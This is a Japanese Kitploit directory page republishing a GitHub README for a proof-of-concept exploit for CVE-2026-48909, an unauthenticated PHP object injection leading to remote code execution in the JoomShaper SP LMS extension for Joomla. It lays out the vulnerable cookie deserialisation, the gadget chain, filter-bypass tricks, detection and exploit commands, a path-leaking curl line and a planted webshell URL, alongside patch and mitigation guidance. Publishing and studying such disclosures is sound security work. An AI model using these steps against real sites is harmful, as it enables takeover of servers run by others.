Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-48909 — CVE-2026-48909 の概念実証エクスプロイト: JoomShaper SP LMS における PHP オブジェクトインジェクションを介した認証不要のリモートコード実行。検出、悪用、および修復のガイダンスを含みます。 | Kitploit
ツール/GitHubGitHub/is4yev/cve-2026-48909
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubis4yev/cve-2026-48909

CVE-2026-48909

CVE-2026-48909 の概念実証エクスプロイト: JoomShaper SP LMS における PHP オブジェクトインジェクションを介した認証不要のリモートコード実行。検出、悪用、および修復のガイダンスを含みます。

リポジトリを見る
2321ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-48909 — SP LMS PHP オブジェクトインジェクション → RCE

CVE CVSS CWE Affected Fixed

未認証のリモートコード実行 (RCE) — Joomla CMS 向け JoomShaper SP LMS (com_splms) ≤ 4.1.3 における PHP オブジェクトインジェクション

作者: Amin İsayev / Proxima Cyber Security


概要

SP LMS は、JoomShaper 製の人気 Joomla 学習管理システム (LMS) 拡張機能であり、100,000 以上のインストール実績があります。バージョン ≤ 4.1.3 では、lmsOrders Cookie が検証なしで直接 unserialize() に渡されるため、未認証の攻撃者が悪意のある PHP オブジェクトを注入し、Joomla 標準のガジェットチェーンを通じてリモートコード実行 (RCE) を達成できます。


脆弱性

根本原因

components/com_splms/models/cart.php 28 行目:

root@kitploit:~
$cookie  = Factory::getApplication()->input->cookie;
$raw     = $cookie->get('lmsOrders', base64_encode(serialize(array())));
$decoded = base64_decode($raw);
$cartItems = unserialize($decoded);   // ← untrusted user input

lmsOrders Cookie は base64 デコードされ、unserialize() に直接渡されます。攻撃者はデシリアライズされるオブジェクトを完全に制御できます。

ガジェットチェーン

Joomla の FormattedtextLogger クラスがガジェットを提供します:

root@kitploit:~
lmsOrders cookie (attacker-controlled)
  └─► unserialize()                             [cart.php:28]
        └─► FormattedtextLogger.__destruct()    [Joomla gadget]
              └─► initFile() → File::write($path, $format)
                    └─► PHP code written to disk → RCE

注意: RCE には Joomla < 5.2.2 が必要です。
Joomla 5.2.2 では FormattedtextLogger.__wakeup() が修正されています (PR #44428 を参照)。
PHP オブジェクトインジェクションは、すべての Joomla バージョンにおいて com_splms ≤ 4.1.3 で依然として存在します。

フィルター回避

Joomla の Input\Cookie::get() はデフォルトで cmd フィルターを適用し、標準的な base64 に含まれる +、/、= の文字を Cookie 値から取り除きます。このエクスプロイトでは以下を使用します:

  • hex2bin() エンコーディング — PHP で使用禁止の文字 ($, _, {, }, \n) を回避
  • パディング調整 — base64 の長さを 3 で割り切れるようにして = パディングを不要に
  • パディング文字の反復 (62 通り) — base64 出力から / と + を排除

概念実証 (PoC)

検出

root@kitploit:~
python3 CVE-2026-48909.py https://target.com
root@kitploit:~
[*] Target : https://target.com
[*] Path   : /index.php?option=com_splms&view=cart
[*] Probe  : lmsOrders=Tzo4OiJzdGRDbGFzcyI6MDp7fQ==

[VULNERABLE] HTTP 500 on probe vs 200 on benign — unserialize() called on cookie
[!] Update to SP LMS >= 4.1.4 immediately.

エクスプロイト

root@kitploit:~
python3 CVE-2026-48909_exploit.py https://target.com /var/www/html/tmp/x.php

PoC Screenshot

https://target.com/tmp/x.php?c=id でシェルが実行中

サーバーパスの特定 (不明な場合):

root@kitploit:~
# cPanel hosting — path leaks from Joomla error pages
curl -sk "https://target.com/administrator/" | grep -oP '\/home\d*\/[^"<\s]+'

# Common paths to try:
#   /var/www/html/tmp/x.php
#   /home/USER/public_html/tmp/x.php
#   /var/www/vhosts/DOMAIN/httpdocs/tmp/x.php

要件

root@kitploit:~
pip install requests

Python 3.10+


修正 / 対策

  1. SP LMS をバージョン ≥ 4.1.4 へ直ちに更新する
  2. ガジェットチェーンを除去するため、Joomla を ≥ 5.2.2 へ更新する
  3. 暫定的な緩和策として、デシリアライズ前に lmsOrders Cookie を検証・サニタイズする:
root@kitploit:~
// Do NOT use unserialize() on user-controlled data
// Use json_encode/json_decode instead
$cartItems = json_decode(base64_decode($raw), true) ?? [];

参考情報

  • CVE-2026-48909 — cve.org
  • CVE-2026-48909 — NVD
  • GHSA-gf8c-xmwj-whrh — GitHub Advisory
  • Joomla PR #44428 — FormattedtextLogger ガジェットパッチ
  • CWE-502: 信頼できないデータのデシリアライゼーション
  • OWASP: PHP オブジェクトインジェクション

免責事項

本ツールは教育目的および許可されたセキュリティテスト専用として公開されています。
作者は、本プログラムの誤用またはそれによって生じた損害について一切の責任を負いません。
所有していないシステム、または明示的な書面によるテスト許可を得ていないシステムに対しては使用しないでください。


Amin İsayev / Proxima Cyber Security — 2026

ツールをダウンロード
項目詳細
CVE IDCVE-2026-48909
GHSAGHSA-gf8c-xmwj-whrh
影響を受けるバージョンSP LMS (com_splms) 1.0.0 – 4.1.3
修正バージョンSP LMS ≥ 4.1.4
Joomla 要件< 5.2.2 (ガジェットチェーンは 5.2.2 で修正済み)
CVSS 4.09.5 Critical — AV:N/AC:L/AT:P/PR:N/UI:N
CWECWE-502: 信頼できないデータのデシリアライゼーション
認証要件不要
開示日2026-05-26
公開日2026-06-20